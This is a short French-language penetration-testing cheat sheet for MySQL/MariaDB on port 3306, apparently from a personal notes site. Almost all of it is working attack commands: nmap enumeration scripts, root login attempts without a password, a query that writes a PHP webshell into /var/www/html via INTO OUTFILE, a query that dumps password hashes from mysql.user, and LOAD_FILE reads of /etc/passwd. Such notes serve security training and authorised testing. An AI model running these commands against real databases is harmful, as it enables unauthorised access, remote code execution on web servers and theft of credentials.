Skip to content

MySQL MariaDB

Port : 3306

Enumeration

sudo nmap $TARGET_IP -sV -sC -p3306 --script "mysql-*"

Connexion

# Connexion en tant qu'utilisateur 'root'

#    - Sans mot de passe
mysql -h $TARGET_IP -u root  -P 3306

#    - Avec mot de passe
mysql -h $TARGET_IP -u root  -pLeMotDePasseSansEspace -P 3306

Commandes utiles

-- Voir les privilèges dont on dispose
show grants; 

select version();

show databases;

use <database>;

show tables;
show columns from <table>;
select * from <table> where <column> = "<texte>";
select * from <table> where <column> like "<debut du texte>%";


-- Consultation de la valeur de secure_file_priv
-- selon sa valeur, l'écrite dans un fichier via INTO OUTFILE sera possible ou non
-- si VIDE : on peut l'utiliser. si pointe vers un dossier, seul ce dossier est autorisé en export. Si NULL : désactivé
 show variables like "secure_file_priv";
-- Ecriture d'un webshell 
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';


-- dump des hash de la DB
SELECT SUBSTR(authentication_string,2) AS hash FROM mysql.user WHERE plugin = 'mysql_native_password' AND authentication_string NOT LIKE '%THISISNOTAVALIDPASSWORD%' AND authentication_string !=''

Exploitation

Lecture d'un fichier

-- Ne fonctionne pas sur une in stallation par défaut
select LOAD_FILE("/etc/passwd");
select TO_BASE64(LOAD_FILE("/etc/passwd"));